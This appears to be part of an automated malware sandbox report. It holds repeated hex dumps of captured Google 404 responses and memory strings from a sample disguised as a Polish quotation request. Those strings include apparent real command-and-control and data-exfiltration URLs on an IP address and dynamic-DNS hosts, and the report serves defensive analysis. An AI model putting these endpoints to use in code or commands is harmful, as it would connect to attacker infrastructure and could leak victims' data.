74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:55 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:56 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:57 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:12:00 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:12:02 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20

Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002ECE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002ECE000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.tlakovec.si
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
